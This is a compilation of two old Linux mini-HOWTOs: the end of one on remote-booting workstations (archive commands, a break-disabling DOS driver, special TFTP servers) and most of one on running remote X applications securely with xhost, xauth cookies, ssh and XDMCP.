The default codepage is 850, a reordered superset of ISO-Latin-1. If you load a more exotic codepage, you should usually turn the variable $IsoLatin to "off" or you might get meaningless implicit conversions. Moreover, if you want to display exotic characters, you should also load the proper screen font (use "LoadFont").

LoadFont "fontfile"

Load and activate a VGA/VESA font, both in text and graphic mode. The font file must be a binary file of 16 bztes/characters (8x16 bitmap). This command can be used for National Language Support as well as for Fantasy support.

An archive with several fantasy fonts is available at http://cuiwww.unige.ch/info/pc/remote-boot/soft/fonts.zip. This archive also contains a program to extract fonts for your codepage from the DOS .CPI file.

Commands specific to MrZip

Source...

  Source (i)archive "filename"
  Source path "path"

Set the source for the archive manipulation to the given (incremental) archive file or disk path.

Dest...

  Dest (i)archive "filename"
  Dest (i)dump
  Dest path "path"

Set the destination for the archive manipulation to the given (incremental) archive file, dump or disk path. To control the quantity of data displayed during dump, use the $DumpFormat special variable.

FileZip "source-filename" "dest-filename"

Compress a file for further decompression with FileUnzip or for using as ZRamDisk. The file is validated by a 32-bits CRC.

Filter...

  Filter -"pattern"
  Filter +"pattern"

Avoid/allow files and directories matching the given pattern (wildcards allowed) to be included in the archive. The pattern is matched agains the full pathname. By default, all files are included in the image. You only need to explicitely allow files that where cancelled by a filter. Each negative filter has its own positive filter (allowed) sublist.

For DOS/Windows images, you will typically use

        Filter -"*.swp"
        Filter -"temp/*"
and for Unix images, you will typically use
        Filter -"var/log/*"
        Filter -"tmp/*"

CopyArchive

Start the archive manipulation operation, according to source, destination and filter settings. Except in a few circumstances, you will probably use the shortcut below instead of explicitely calling CopyArchive. One circumstance in which you will use CopyArchive explicitely is when you want to change the fragmentation of an image, as follow:

        set FragmentSize="30 MB"
        Source archive "original.imz"
        Dest archive "refragmented.imz"
        CopyArchive

FullZip "path" "full-archive"

Shortcut for

                Source path "path"
                Dest archive "full-archive"
                CopyArchive
You should usually first setup filters.

IncrZip "path" "incr-archive"

Shortcut for

                Source path "path"
                Dest iarchive "incr-archive"
                CopyArchive

FullDump "full-archive"

Shortcut for

                Source archive "full-archive"
                Dest dump
                CopyArchive

IncrDump "incr-archive"

Shortcut for

                Source iarchive "incr-archive"
                Dest dump
                CopyArchive

XCopy "srcpath" "dstpath"

Shortcut for

                Source path "srcpath"
                Dest path "dstpath"
                CopyArchive

5.2 NoBreak.sys

Nobreak.sys is a very small (about 350 bytes only) driver that you include at the beginning of your config.sys. Its goal is to secure the boot process, until the user is logged in. DOS provides a setting for this (namely BREAK=OFF), but it is not drastic enough, and has almost no effect in the autoexec.bat. Our driver works by modifying the scan-code of the key pressed when a break is requested, directly at the BIOS level. This way, no program at all can receive a break until break is enabled again.

The driver must be loaded from the config.sys (or using the devlod program from Undocumented DOS). Afterwards, break can be enabled by sending Yes to the NOBRK pseudo-device, and disabled again by sending No (in fact, only the first character, Y or N is significant).

As this driver relies on the BIOS, it does only work for DOS and Windows 3.1. Windows 95 has its own low-level keyboard handling routines.

Assembler source code is available.


Linux Remote-Boot mini-HOWTO: Configuring Remote-Boot Workstations with Linux, DOS, Windows 95/98 and Windows NT: Special TFTP Servers

 Next Previous Contents

6. Special TFTP Servers

As the only network support available in the TCP/IP BootPROM is TFTP, there is a special interest in enhancing TFTP servers for providing new capabilities.

6.1 Incom Enhanced TFTP Server

InCom GmbH distributes with the TCP/IP BootPROM an enhanced TFTP server that can send packets of up to 1408 bytes instead of the standard 512 bytes. This is a great enhancement that you should use. This server is available on the TCP/IP Bootprom Utility disk for Solaris, Windows and as Netware NLM.

6.2 Linux Enhanced TFTP Server

We built a modified version of Linux TFTP server that acts as InCom enhanced TFTP server. Basically, we simply changed the packet size from 512 to 1408 bytes and the port from 69 to 59. It is available from http://cuiwww.unige.ch/info/pc/remote-boot/soft/etdtpd.tar.gz.

6.3 The Security Gateway

We wrote a special TFTP server that serves as security gateway for authenticating users. This server runs under Linux or Solaris, and can authenticate users according to a Unix password database (NIS and shadow passwords are supported), a Windows NT (or Samba) server or a Radius server. It is available from http://cuiwww.unige.ch/info/pc/remote-boot/soft/stdtpd.tar.gz, with source and precompiled binaries. The precompiled binaries do not include NT password encryption as we cannot distribute libdes but compilation is straightforward.

In order to use the security gateway, you just have to setup a trivial security domains configuration file that describes to which authentication server each logical security domains maps (the Unix domain implicitely maps to the server Unix password database). This is a sample configuration file:

#
# STFTPD configuration file
#
# This file specify the server of the "security domains". Two types of
# authentication servers are supported : radius or winnt (winnt includes
# NT Server and Samba)
#
# Format of radius servers
# radius        <domain>        <serveraddress>         <secret>
#
# secret is the secret word as specified in your /etc/raddb/clients file
#
# Format of SMB servers
# winnt         <domain>        <serveraddress>         <netbiosname>
#
# netbiosname is the NETBIOS name of your server
#
# Examples
radius         sec-dom-rad     radiusserver    testing123
winnt          sec-dom-nt1     192.168.1.1     NTSERVER1
winnt          sec-dom-smb     samba           SAMBA1
Note that if you are using Samba, you must set security = user.

You can also provide to the security server a file containing a list of users which are not allowed to log on (for which the check will fail anyways).

6.4 The Broadcast TFTP Server

We wrote a special TFTP server that implements a home-made Broadcast variant of TFTP. Using this server, we were able to download images to 25 clients on a heavily loaded 10 Mb ethernet network at 6 Mb/s (it is more efficient than the regular TFTP because it does not need to acknowledge each packets). This server runs under Linux or Solaris. It is available from http://cuiwww.unige.ch/info/pc/remote-boot/soft/btdtpd.tar.gz, with source and precompiled binaries.

As the TCP/IP bootprom does not support this protocol, our solution consist in booting a tiny ramdisk-based linux system using the tools described in this document, and running the Linux version of MrBatch which has built-in support for Broadcast TFTP. A simple batch file can the download all files to the cache in a few minutes, simultaneously on all client computers. You do not need to install Linux yourself to use this package, except if you have exotic hardware and cannot directly use the kernel provided in the package.

The process works as follow. First, you startup the broadcast server manually, giving the number of expected client computers as argument (remember, this procedure is not to be used every day but only when you changed an image and want to ensure it is immediately uploaded to all your client computers). Then, you turn on all client computers, which will run the following BpBatch script:

#
# This batch is run by bpbatch to launch a mini-linux using an initial
# ramdisk, which will then run mrbatch under linux.
#
# The broadcast TFTP protocol only works with the Linux implementation of
# mrbatch, because of the lack of broadcast support in the bootprom itself.
#
# 1. Setup a tiny partition, to let a lot of space for the cache
setpartitions "BIGDOS:50"
# 2. Clean the MBR
clean 0
# 3. Run a Linux Kernel with initrd (Initial Ramdisk) supprt, and use
#    bcastrd.gz as the initial ramdisk (will be mounted root and then
#    executed via /linuxrc). See initrd.txt for more details about
#    initial ramdisks. You don't have to specify a root device (second
#    parameter is null) to the kernel, it will use the initial ramdisk.
linuxboot "linux.krn" "" "bcastrd.gz"
# 4. The initial ramdisk will run dhcpcd to setup networking using DHCP.
#    It will then run mrbatch -w bcastlx
The initial ramdisk contains:
  • dhcpcd, a DHCP client used to setup networking
  • mrbatch
  • linuxrc, a little wrapper automatically started by initrd and that starts dhcpcd then mrbatch.
  • usr/lib/terminfo/l/linux, used by MrBatch
  • dev/*, devices needed to run Linux and mrbatch
All programs are statically linked and stripped, to avoid libc.so which is really huge. The resulting ramdisk is Gzipped and takes less than 300 KB. The kernel itself takes 450 KB (with many network cards and initrd support). When Linux is up and running, MrBatch is called with the following script (that you should edit for your needs):
# This file is executed when mrbatch is launched by the initial ramdisk
# bcastrd.gz
# It's main purpose is to "broacast copy" files to the cache
#
# 1. Be verbose
showlog
# 2. Don't want a "press a key"
set pauselog="OFF"
# 3. Set partitions at their final values.
#    Important: Since you will copy files into the cache to be used in future
#    boot, you need to specify the same partitions as in the future boots.
setpartitions "BIGDOS:1024"
# 4. Clean the CACHE partition
clean -1
# 5. And the copy files into the cache, using the Broadcast TFTP protocol
#    (port 99)
#
# You can use the script "as is", but you surely need to modify the following
# line ! In our example, we download the file mblinux.imz, which is the image
# file for our installation of Linux.
copy "$BOOTP-Server-IP@99:mblinux.imz" "{:-1}mblinux.imz"
When the transfer is done, you can simply turn off all client computers and change their initial boot script to your favorite menu.


Remote X Apps mini-HOWTO

Vincent Zweije, zweije@xs4all.nl

v0.7.5, 8 December 2001

This mini-HOWTO describes how to run remote X applications. That is, how to have an X program display on a different computer than the one it's running on. Or conversely: how to make an X program run on a different computer than the one you're sitting at. The focus of this mini-HOWTO is on security. This mini-HOWTO also contains information on running X applications locally, but with a different user-id, and information on setting up a computer as an X terminal.

1. Introduction

2. Related Reading

3. The Scene

4. A Little Theory

5. Telling the Client

6. Telling the Server

  • 6.1 Xhost
  • 6.2 Xauth
  • 6.3 Ssh

7. X Applications from Another User-id

  • 7.1 Different Users on the Same Host
  • 7.2 Client User Is Root

8. Running a Remote Window Manager

9. Setting Up an X Terminal

  • 9.1 Once More, a Little Theory First
  • 9.2 Configuring X as an XDMCP Client
  • 9.3 Configuring xdm as an XDMCP Server
  • 9.4 XDMCP Technically

10. Troubleshooting


Remote X Apps mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

This mini-HOWTO is a guide how to do remote X applications. It was written for several reasons.

  1. Many questions have appeared on usenet on how to run a remote X application.
  2. I see many, many hints of ``use xhost +hostname'' or even ``xhost +'' to allow X connections. This is ridiculously insecure, and there are better methods.
  3. I do not know of a simple document that describes the options you do have. Please inform me zweije@xs4all.nl if you know more.

This document has been written with unix-like systems in mind. If either your local or remote operating system are of another flavour, you may find here how things work. However, you will have to translate examples yourself to apply to your own system(s).

The most recent version of this document is always available on WWW at http://www.xs4all.nl/~zweije/xauth.html. It is also available as the Linux Remote X Apps mini-HOWTO at http://sunsite.unc.edu/LDP/HOWTO/mini/Remote-X-Apps. Linux (mini-)HOWTOs are available by http or ftp from sunsite.unc.edu.

This is version 0.7.5. No guarantees, only good intentions. I'm open to suggestions, ideas, additions, useful pointers, (typo) corrections, etc... I want this to remain a simple readable document, though, in the best-meant HOWTO style. Flames to /dev/null. This document is released under version 1.1 of the GNU Free Documentation Licence.

Contents last updated on 8 December 2001 by Vincent Zweije


Remote X Apps mini-HOWTO: Related Reading

 Next Previous Contents

2. Related Reading

A related document on WWW is ``What to do when Tk says that your display is insecure'', http://ce-toolkit.crd.ge.com/tkxauth/. It was written by Kevin Kenny. It suggests a similar solution to X authentication to that in this document (xauth). However, Kevin aims more at using xdm to steer xauth for you.

The X System Window System Vol. 8 ``X Window System Administrator's Guide'' from O'Reilly and Associates has also been brought to my attention and confirmed as a good source of information. However, it has not been revised since its original publication in 1992. As such it only covers X11R4 and X11R5, anything specific to X11R6 will not be covered.

Yet another document much like the one you're reading now, titled ``Securing X Windows'', is available at http://ciac.llnl.gov/ciac/documents/ciac2316.html.

Also check out usenet newsgroups, such as comp.windows.x, comp.os.linux.x, and comp.os.linux.networking.


Remote X Apps mini-HOWTO: The Scene

 Next Previous Contents

3. The Scene

You're using two computers. You're using the X window system of the first to type to and look at. You're using the second to do some important graphical work. You want the second to show its output on the display of the first. The X window system makes this possible.

Of course, you need a network connection for this. Preferably a fast one; the X protocol is a network hog. But with a little patience and suitable protocol compression, you can even run applications over a modem. For X protocol compression, you might want to check out dxpc http://www.vigor.nu/dxpc/ or LBX http://www.paulandlesley.org/faqs/LBX-HOWTO.html (also known as the LBX mini-HOWTO).

You must do two things to achieve all this:

  1. Tell the local display (the server) to accept connections from the remote computer.
  2. Tell the remote application (the client) to direct its output to your local display.


Remote X Apps mini-HOWTO: A Little Theory

 Next Previous Contents

4. A Little Theory

The magic word is DISPLAY. In the X window system, a display consists (simplified) of a keyboard, a mouse and a screen. A display is managed by a server program, known as an X server. The server serves displaying capabilities to other programs that connect to it.

A display is indicated with a name, for instance:

  • DISPLAY=light.uni.verse:0
  • DISPLAY=localhost:4
  • DISPLAY=:0

The display consists of a hostname (such as light.uni.verse and localhost), a colon (:), and a sequence number (such as 0 and 4). The hostname of the display is the name of the computer where the X server runs. An omitted hostname means the local host. The sequence number is usually 0 -- it can be varied if there are multiple displays connected to one computer.

If you ever come across a display indication with an extra .n attached to it, that's the screen number. A display can actually have multiple screens. Usually there's only one screen though, with number n=0, so that's the default.

Other forms of DISPLAY exist, but the above will do for our purposes.

For the technically curious:

  • hostname:D.S means screen S on display D of host hostname; the X server for this display is listening at TCP port 6000+D.
  • host/unix:D.S means screen S on display D of host host; the X server for this display is listening at UNIX domain socket /tmp/.X11-unix/XD (so it's only reachable from host).
  • :D.S is equivalent to host/unix:D.S, where host is the local hostname.


Remote X Apps mini-HOWTO: Telling the Client

 Next Previous Contents

5. Telling the Client

The client program (for instance, your graphics application) knows which display to connect to by inspecting the DISPLAY environment variable. This setting can be overridden, though, by giving the client the command line argument -display hostname:0 when it's started. Some examples may clarify things.

Our computer is known to the outside as light, and we're in domain uni.verse. If we're running a normal X server, the display is known as light.uni.verse:0. We want to run the drawing program xfig on a remote computer, called dark.matt.er, and display its output here on light.

Suppose you have already telnetted into the remote computer, dark.matt.er.

If you have csh running on the remote computer:

dark% setenv DISPLAY light.uni.verse:0
dark% xfig &

or alternatively:

dark% xfig -display light.uni.verse:0 &

If you have sh running on the remote computer:

dark$ DISPLAY=light.uni.verse:0
dark$ export DISPLAY
dark$ xfig &

or, alternatively:

dark$ DISPLAY=light.uni.verse:0 xfig &

or, of course, also:

dark$ xfig -display light.uni.verse:0 &

It seems that some versions of telnet automatically transport the DISPLAY variable to the remote host. If you have one of those, you're lucky, and you don't have to set it by hand. If not, most versions of telnet do transport the TERM environment variable; with some judicious hacking it is possible to piggyback the DISPLAY variable on to the TERM variable.

The idea with piggybacking is that you do some scripting to achieve the following: before telnetting, attach the value of DISPLAY to TERM. Then telnet out. At the remote end, in the applicable .*shrc file, read the value of DISPLAY from TERM.


Remote X Apps mini-HOWTO: Telling the Server

 Next Previous Contents

6. Telling the Server

The server will not accept connections from just anywhere. You don't want everyone to be able to display windows on your screen. Or read what you type -- remember that your keyboard is part of your display!

Too few people seem to realise that allowing access to your display poses a security risk. Someone with access to your display can read and write your screens, read your keystrokes, and read your mouse actions.

Most servers know two ways of authenticating connections to it: the host list mechanism (xhost) and the magic cookie mechanism (xauth). Then there is ssh, the secure shell, that can forward X connections.

Notice that some X servers (from XFree86) can be configured not to listen on the usual TCP port with the -nolisten tcp argument. Notably the default configuration of Debian GNU/Linux is to disable the X server listening on the TCP port. If you wish to use remote X on a Debian system, you should re-enable this by altering the way the X server is started. Look at /etc/X11/xinit/xserverrc for a start.

6.1 Xhost

Xhost allows access based on hostnames. The server maintains a list of hosts which are allowed to connect to it. It can also disable host checking entirely. Beware: this means no checks are done, so every host may connect!

You can control the server's host list with the xhost program. To use this mechanism in the previous example, do:

light$ xhost +dark.matt.er

This allows all connections from host dark.matt.er. As soon as your X client has made its connection and displays a window, for safety, revoke permissions for more connections with:

light$ xhost -dark.matt.er

You can disable host checking with:

light$ xhost +

This disables host access checking and thus allows everyone to connect. You should never do this on a network on which you don't trust all users (such as Internet). You can re-enable host checking with:

light$ xhost -

xhost - by itself does not remove all hosts from the access list (that would be quite useless - you wouldn't be able to connect from anywhere, not even your local host).

Xhost is a very insecure mechanism. It does not distinguish between different users on the remote host. Also, hostnames (addresses actually) can be spoofed. This is bad if you're on an untrusted network (for instance already with dialup PPP access to Internet).

6.2 Xauth

Xauth allows access to anyone who knows the right secret. Such a secret is called an authorization record, or a magic cookie. This authorization scheme is formally called MIT-MAGIC-COOKIE-1.

The cookies for different displays are stored together in ~/.Xauthority. Your ~/.Xauthority must be inaccessible for group/other users. The xauth program manages these cookies, hence the nickname xauth for the scheme.

You can specify a different cookie file with the XAUTHORITY environment variable, but you will rarely need this. If you're not sure which cookie file your xauth is using, do an xauth -v, and it will tell you.

On starting a session, the server reads a cookie from the file that is indicated by the -auth argument. After that, the server only allows connections from clients that know the same cookie. When the cookie in ~/.Xauthority changes, the server will not pick up the change.

Newer servers can generate cookies on the fly for clients that ask for it. Cookies are still kept inside the server though; they don't end up in ~/.Xauthority unless a client puts them there. According to David Wiggins:

A further wrinkle was added in X11R6.3 that you may be interested in. Via the new SECURITY extension, the X server itself can generate and return new cookies on the fly. Furthermore, the cookies can be designated ``untrusted'' so that applications making connections with such cookies will be restricted in their operation. For example, they won't be able to steal keyboard/mouse input, or window contents, from other trusted clients. There is a new ``generate'' subcommand to xauth to make this facility at least possible to use, if not easy.

Xauth has a clear security advantage over xhost. You can limit access to specific users on specific computers. It does not suffer from spoofed addresses as xhost does. And if you want to, you can still use xhost next to it to allow connections.

Making the Cookie

If you want to use xauth, you must start the X server with the -auth authfile argument. If you use the startx script, that's the right place to do it. Create the authorization record as below in your startx script.

Excerpt from /usr/X11R6/bin/startx:

mcookie|sed -e 's/^/add :0 . /'|xauth -q
xinit -- -auth "$HOME/.Xauthority"

Mcookie is a tiny program in the util-linux package, primary site ftp://ftp.math.uio.no/pub/linux/. Alternatively, you can use md5sum to massage some random data (from, for instance, /dev/urandom or ps -axl) into cookie format:

dd if=/dev/urandom count=1|md5sum|sed -e 's/^/add :0 . /'|xauth -q
xinit -- -auth "$HOME/.Xauthority"

If you can't edit the startx script (because you aren't root), get your system administrator to set up startx properly, or let him set up xdm instead. If he can't or won't, you can make a ~/.xserverrc script. If you have this script, it is run by xinit instead of the real X server. Then you can start the real X server from this script with the proper arguments. To do so, have your ~/.xserverrc use the magic cookie line above to create a cookie and then exec the real X server:

#!/bin/sh
mcookie|sed -e 's/^/add :0 . /'|xauth -q
exec /usr/X11R6/bin/X "$@" -auth "$HOME/.Xauthority"

If you use xdm to manage your X sessions, you can use xauth easily. Define the DisplayManager.authDir resource in /etc/X11/xdm/xdm-config. Xdm will pass the -auth argument to the X server when it starts. When you then log in under xdm, xdm puts the cookie in your ~/.Xauthority for you. See xdm(1) for more information. For instance, my /etc/X11/xdm/xdm-config has the following line in it:

DisplayManager.authDir: /var/lib/xdm

Transporting the Cookie

Now that you have started your X session on the server host light.uni.verse and have your cookie in ~/.Xauthority, you will have to transfer the cookie to the client host, dark.matt.er. There are several ways to do this.

Shared Home Directories

The easiest is when your home directories on light and dark are shared. The ~/.Xauthority files are the same, so the cookie is transported instantaneously. However, there's a catch: when you put a cookie for :0 in ~/.Xauthority, dark will think it's a cookie for itself instead of for light. You must use an explicit host name when you create the cookie; you can't leave it out. You can install the same cookie for both :0 and light:0 with this little piece of sed wizardry:

#!/bin/sh
mcookie|sed -e 's/^/add :0 . /' -e p -e "s/:/$HOST&/"|xauth -q
exec /usr/X11R6/bin/X "$@" -auth "$HOME/.Xauthority"

By the Remote Shell, rsh

If the home directories aren't shared, you can transport the cookie by means of rsh, the remote shell:

light$ xauth nlist "${HOST}:0" | rsh dark.matt.er xauth nmerge -

  1. Extract the cookie from your local ~/.Xauthority (xauth nlist :0).
  2. Transfer it to dark.matt.er (| rsh dark.matt.er).
  3. Put it in the ~/.Xauthority there (xauth nmerge -).

Notice the use of ${HOST}. You need to transport the cookie that is explicitly associated with the local host. A remote X application would interpret a display value of :0 as referring to the remote machine, which is not what you want!

Manually, by Telnet

It's possible that rsh doesn't work for you. Besides that, rsh also has a security drawback (spoofed host names again, if I remember correctly). If you can't or don't want to use rsh, you can also transfer the cookie manually, like:

light$ echo $DISPLAY
:0
light$ xauth list $DISPLAY
light/unix:0 MIT-MAGIC-COOKIE-1 076aaecfd370fd2af6bb9f5550b26926
light$ rlogin dark.matt.er
Password:
dark% setenv DISPLAY light.uni.verse:0
dark% xauth
Using authority file /home/zweije/.Xauthority
xauth> add light.uni.verse:0 . 076aaecfd370fd2af6bb9f5550b26926
xauth> exit
Writing authority file /home/zweije/.Xauthority
dark% xfig &
[15332]
dark% logout
light$

See also rsh(1) and xauth(1x) for more information.

Automating the Telnet Way

It may be possible to piggyback the cookie on the TERM or DISPLAY variable when you do a telnet to the remote host. This would go the same way as piggybacking the DISPLAY variable on the TERM variable. See section 5: Telling the Client. You're on own here from my point of view, but I'm interested if anyone can confirm or deny this.

Notice, however, that environment variables can be observed by others on some unices, and you won't be able to prevent the cookie in $TERM from showing up if people are looking for it.

Using the Cookie

An X application on dark.matt.er, such as xfig above, will automatically look in ~/.Xauthority there for the cookie to authenticate itself with.

There's a little wrinkle when using localhost:D. X client applications translate localhost:D into host/unix:D for the purpose of cookie retrieval. Effectively, this means that a cookie for localhost:D in your ~/.Xauthority has no effect.

If you think about it, it's only logical. The interpretation of localhost depends entirely on the machine on which it's interpreted. It would give a horrible mess when you have a shared home directory, such as through NFS, with several hosts all interfering with each other's cookies.

6.3 Ssh

Authority records are transmitted over the network with no encryption. If you're even worried someone might snoop on your connections, use ssh, the secure shell. It can do X forwarding over encrypted connections.

To turn on X forwarding over ssh, use the command line switch -X or write the following in your local ssh configuration file:

Host remote.host.name
    ForwardX11 yes

The ssh server (sshd) at the remote end automatically sets DISPLAY to point to its end of the X forwarding tunnel. The remote tunnel end gets its own cookie; the remote ssh server generates it for you and puts it in ~/.Xauthority there. So, X authorisation with ssh is fully automatic.

By the way, ssh is great in other ways too. It's a good structural improvement to your system. For more information, visit http://www.ssh.org/, the ssh home page.

Who knows anything else on authentication schemes or encrypting X connections? Maybe kerberos?


Remote X Apps mini-HOWTO: X Applications from Another User-id

 Next Previous Contents

7. X Applications from Another User-id

Suppose you want to run a graphical configuration tool that requires root privileges. However, your X session is running under your usual account. It may seem strange at first, but the X server will not allow the tool to access your display. How is this possible when root can normally do anything? And how do you work around this problem?

Let's generalise to the situation where you want to an X appliation under a user-id clientuser, but the X session was started by serveruser. If you have read the section on cookies, it is clear why clientuser cannot access your display: ~clientuser/.Xauthority does not contain the right magic cookie for accessing the display. The right cookie is found in ~serveruser/.Xauthority.

7.1 Different Users on the Same Host

Of course, anything that works for remote X also works for X from a different user-id as well (particularly slogin localhost -l clientuser). It's just that the client host and the server host happen to be the same. However, when both hosts are the same, there are some shortcuts for transferring the magic cookie.

We'll assume that you use su to switch user-ids. Basically, what you have to do is write a script that will call su, but wraps the command that su executes with some code that does the necessary things for remote X. These necessary things are setting the DISPLAY variable and transferring the magic cookie.

Setting DISPLAY is relatively easy; it just means defining DISPLAY="$DISPLAY" before running the su command argument. So you could just do:

su - clientuser -c "env DISPLAY=$DISPLAY clientprogram &"

This doesn't work yet, because we still have to transfer the cookie. We can retrieve the cookie using xauth list "$DISPLAY". This command happens to list the cookie in a format that's suitable for feeding back to the xauth add command; just what we need!

We shall want to pass the cookie through a pipe. Unfortunately, it isn't easy to pass something through a pipe to the su command, because su wants to read the password from its standard input. Fortunately again, in a shell script we can joggle some file descriptors around, and get it done.

So we write a script around this, parameterizing by clientuser and clientprogram. Let's improve the script a little while we're at it, making it less readable but more robust. It looks like this:

#!/bin/sh

if [ $# -lt 2 ]
then echo "usage: `basename $0` clientuser command" >&2
     exit 2
fi

CLIENTUSER="$1"
shift

# FD 4 becomes stdin too
exec 4>&0

xauth list "$DISPLAY" | sed -e 's/^/add /' | {

    # FD 3 becomes xauth output
    # FD 0 becomes stdin again
    # FD 4 is closed
    exec 3>&0 0>&4 4>&-

    exec su - "$CLIENTUSER" -c \
         "xauth -q <&3
          exec env DISPLAY='$DISPLAY' "'"$SHELL"'" -c '$*' 3>&-"

}

I think this is portable and works well enough in most circumstances. The only shortcoming I can think of right now is that, due to using '$*', single quotes in command will mess up quoting in the su command argument ('$*'). If there's anything else seriously wrong with it, please drop me an email.

Call the script /usr/local/bin/xsu, and you can do:

xsu clientuser 'command &'

Can't be much easier, unless you get rid of the password. Yes, there are ways for that too (sudo), but this is not the place for that.

The tiny xsu script just mentioned has served as the basis for a more extended script called sux which apparently has found its way as a package into the Debian distribution.

7.2 Client User Is Root

Obviously, anything that works for non-root client users is going to work for root as well. However, with root you can make it even easier, because root can read anyone's ~/.Xauthority file. There's no need to transfer the cookie. All you have to do is set DISPLAY, and point XAUTHORITY to ~serveruser/.Xauthority. So you can do:

su - -c "exec env DISPLAY='$DISPLAY' \
                  XAUTHORITY='${XAUTHORITY-$HOME/.Xauthority}' \
                  command"

Putting it into a script would give something like:

#!/bin/sh
if [ $# -lt 1 ]
then echo "usage: `basename $0` command" >&2
     exit 2
fi
su - -c "exec env DISPLAY='$DISPLAY' \
                  XAUTHORITY='${XAUTHORITY-$HOME/.Xauthority}' \
                  "'"$SHELL"'" -c '$*'"

Call the script /usr/local/bin/xroot, and you can do:

xroot 'control-panel &'

Although, if you've set up xsu already, there's no real reason to do this.


Remote X Apps mini-HOWTO: Running a Remote Window Manager

 Next Previous Contents

8. Running a Remote Window Manager

A window manager (like twm, wmaker, or fvwm95) is an application like any other. The normal procedure should work.

Well, almost. At most one window manager can be running on a display at any time. If you are already running a local window manager, you cannot start the remote one (it will complain and exit). You have to kill (or simply quit) the local one first.

Unfortunately, many X session scripts end with an

exec window-manager-of-choice

and this means that when the (local) window manager exits, your session exits, and the X system (xdm or xinit) considers your session over and effectively logs you out.

You have to jump through a few extra hoops, but it can be done and it's not too difficult. Just play with your session script (normally ~/.xsession or ~/.xinitrc) to get it as you want it.

Beware that a window manager often provides ways to run new programs, and that these will run on the local machine. That is, local to where the window manager runs. If you run a remote window manager, it will spawn remote applications, and this may not be what you want. Of course, they still display on the display that is local to you.


Remote X Apps mini-HOWTO: Setting Up an X Terminal

 Next Previous Contents

9. Setting Up an X Terminal

Make use of your old PC! Turn it into an extra work place! No need for buying expensive new hardware! You've already got all it takes!

Seriously, you can set up an old PC as an X terminal. An X terminal is a computer that basically runs nothing but an X server. You can log in on it, and get an X session, with xterms, xbiff, xclock, every other conceivable X client. However, all clients are running on a remote host, and are using remote X to display their output on your local X terminal. Even the window manager is running remotely.

An X terminal takes very few resources, compared to a full blown unix machine. Over here I have an X terminal with a 486 CPU, 16M of RAM, and 250M of disk space. Oh, and a network connection, of course. It doesn't even have user home directories.

For some related reading, have a look at:

  • The XDM and X Terminal mini-HOWTO ( http://www.ibiblio.org/pub/Linux/docs/HOWTO/mini/other-formats/html_single/XDM-Xterm.html). This document is an extensive description of what is possible with XDMCP and xdm, applied for building X terminals. Definitely have a look at this.
  • The XDMCP HOWTO ( http://www.ibiblio.org/pub/Linux/docs/HOWTO/other-formats/html_single/XDMCP.html). This document describes the steps necessary to set up xdm for use with remote X servers, such as from X terminals. The setup of the X server in such a situation is described less extensively.
  • The Xterminal mini-HOWTO ( http://metalab.unc.edu/pub/Linux/docs/HOWTO/unmaintained/mini/Xterminal). It is currently unmaintained, but it might contain some useful information for you.

Contrasted to the above documents, this document (the Remote X Apps mini-HOWTO) limits itself to a short description of XDMCP, but puts more emphasis on the security issues involved.

9.1 Once More, a Little Theory First

As far as X is concerned, the X terminal will be running nothing but an X server. This X server will be configured to talk to a remote host using XDMCP (the X Display Manager Control Protocol). It will ask the remote host for an X session. The remote host will put up a login window on the X terminal, and after login it will run an X session with all bells and whistles, including the window manager, all using remote X to display on the X terminal.

You will probably notice that the remote host is acting like a server, though not an X server. The remote host is providing X sessions to X servers that ask for one. So, with respect to XDMCP, the remote host is actually a server, providing X sessions, also known as an XDMCP server. The X server is playing the role of an XDMCP client! Are you still with me?

The program that provides the XDMCP service on the XDMCP server is xdm. So, in order to get an X terminal up and running, you must configure two programs: X (the XDMCP client) on the X terminal, and xdm (the XDMCP server) on the remote host.

You must always remember that the X protocol (and the XDMCP protocol) are not encrypted. If you use remote X, everything that goes over the network can be sniffed by other hosts on the network. This is especially bad with remote X sessions, since the first thing that happens is logging in by giving a username and password. So, you must run remote X over a trusted network only!

9.2 Configuring X as an XDMCP Client

If you want to set up a Linux machine as an X terminal, you need very few resources. Basically, you need what it takes to get a bare bones Linux machine running, plus an X server. Specifically, you do not need the X clients and libraries. It can be useful to install some X fonts, but you can also use a font server somewhere on the network.

There are a few ways for an X server to get an X session from an XDMCP server. The simplest one is to go straight to a known XDMCP server and ask for one. Alternatively, the X server can broadcast a request for an XDMCP service and use the first XDMCP server that responds. Lastly, the X server can go to an XDMCP server, ask it for a list of hosts willing to provide a session, and let the user choose a session host.

  1. When you know the host that is going to provide you with sessions, go straight to it. Run
    X -query sessionhost
    and, assuming xdm is running on sessionhost, you'll get a login window, and after login, an X session.
  2. When you don't really care on which host you're getting your session, use the broadcast method. Run
    X -broadcast
    and, assuming xdm is running somewhere on the network, you'll get a login window from the first (and hopefully quickest) xdm that responds, and after login, an X session.
  3. When you want to choose the host where you want to have your session, ask an XDMCP server for a list. Run
    X -indirect xdmcpserver
    and, assuming xdm is configured right there, you'll be presented a list of hosts to choose from. Choose one; you'll get the login window for that host, and after login, the session you were looking for.

You may have noticed the absence of the -auth option. The X server will use XDMCP to negotiate a magic cookie with the XDMCP server. The XDMCP server will put the cookie in your remote ~/.Xauthority after login.

After a session is over, the X server will loop and go back to the original XDMCP server and ask for another session (or chooser list). If you don't want that, you can use the -once option. Note: this doesn't seem to work with the -indirect option due to the implementation of the chooser.

When you have determined the way in which you want to run the X server, you can also put it in a startup script, or even run it straight from /etc/inittab. Please consult your own distribution's documentation for how to modify your startup scripts or /etc/inittab.

Do not run an X server like this from the Xservers configuration file. xdm expects to be able to connect to such servers, and may kill them if it can't connect.

9.3 Configuring xdm as an XDMCP Server

The program that provides the XDMCP service (the session service) is usually xdm. There are variants of this such as wdm or gdm on Linux, but these basically work the same way. So, make sure xdm or variant is installed on the host where you want to run your X sessions. If you've got a local graphical login on the X session host, xdm is already installed; most Linux distributions come that way these days.

In addition to xdm, you will need the programs that you wish to be able to run in an X session. That is, all X clients like xterm, xfig, xclock, window managers and all that. However, for an XDMCP server, you do not have to install an X server; the X server will be running on the X terminal instead.

From the X server story above, you can conclude that there are basically two kinds of XDMCP service. There is the direct service, consisting of letting an XDMCP client log in, and then providing it with an X session. Alternatively, there is the indirect service, in which an XDMCP client is provided with a list of hosts, providing a direct service, to choose from.

All xdm services are configured in the access file, generally located at /etc/X11/xdm/Xaccess or a similar location. This location is actually defined in the general xdm configuration file /etc/X11/xdm/xdm-config, through the accessFile resource. See your xdm manual for the default location.

